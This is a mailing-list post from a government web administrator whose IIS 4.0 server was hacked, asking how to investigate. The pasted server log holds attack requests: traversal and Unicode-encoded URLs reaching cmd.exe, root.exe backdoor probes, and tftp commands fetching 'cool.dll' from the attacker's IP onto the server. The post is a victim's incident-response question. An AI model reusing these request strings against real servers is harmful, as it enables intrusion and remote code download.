Hacked web server

["Rogelio Vidaurri Courcelle" <rvidaurri () haciendachiapas gob mx>]

Hi... my web server (NT 4.0 SP6a) was hacked last friday, it has only
one NIC with a public IP
we have an OpenBSD Firewall (PF) that filters both incoming and
outcoming traffic.... this firewall has no ip addresses.....
external users have access to our web server only by port 80... 
we had a popup window in our default page.... i dont know if that's why
he could hack our server.... i'm not an expert in these.. i'm a
begineer.....
(my english is not perfect sorry for the inconviniences)...
anyway.. we deleted that popup window and haven't been hacked again...
we try to patch our server but the patch "destroyed" my IIS 4.0 and we
had to reinstall everything....
in my LOGFILES i have te records of our visits.... and since 2 months
ago it's been registering this:
 
200.38.237.2, -, 5/01/03, 4:15:08, W3SVC, INGRESOS02, 200.38.152.221, 0,
72, 275, 403, 5, GET, /scripts/root.exe, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221, 0,
70, 119, 404, 2, GET, /MSADC/root.exe, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
125, 96, 8201, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
/c+dir, 
200.38.237.2, -, 5/01/03, 4:15:09, W3SVC, INGRESOS02, 200.38.152.221,
125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20c:\httpodbc.dll, 
200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,
125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20d:\httpodbc.dll, 
200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221,
125, 152, 369, 200, 0, GET, /scripts/..%5c../winnt/system32/cmd.exe,
/c+tftp%20-i%20200.38.237.2%20GET%20cool.dll%20e:\httpodbc.dll, 
200.38.237.2, -, 5/01/03, 4:15:10, W3SVC, INGRESOS02, 200.38.152.221, 0,
79, 221, 500, 126, GET, /scripts/..%5c../httpodbc.dll, -, 
200.38.237.2, -, 5/01/03, 4:15:11, W3SVC, INGRESOS02, 200.38.152.221, 0,
145, 261, 500, 123, GET,
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe
, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:11, W3SVC, INGRESOS02, 200.38.152.221, 0,
97, 261, 500, 123, GET, /scripts/..Á../winnt/system32/cmd.exe, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:11, W3SVC, INGRESOS02, 200.38.152.221,
16, 97, 275, 403, 5, GET, /scripts/winnt/system32/cmd.exe, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:11, W3SVC, INGRESOS02, 200.38.152.221, 0,
97, 275, 403, 5, GET, /scripts/..À¯../winnt/system32/cmd.exe, /c+dir, 
200.38.237.2, -, 5/01/03, 4:15:11, W3SVC, INGRESOS02, 200.38.152.221, 0,
97, 275, 403, 5, GET, /scripts/..Áœ../winnt/system32/cmd.exe, /c+dir, 

i have read that it could be because of Nimda but i have scanned with
the latest pattern and it found no viruses... only a backdoor trojan
called ncx99.exe dropped in mailroot\drop\temp
by the way, can i delete files inside that folder??? there's a
rundlls32.exe... a KEY file, etcetera......
 
what can it be? i need help... 
how could i trace the hacker?? 
thanks in advance.....
 
 
 
ISC. Rogelio Vidaurri Courcelle
Área de Sistemas y Web
Secretaría de Hacienda


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com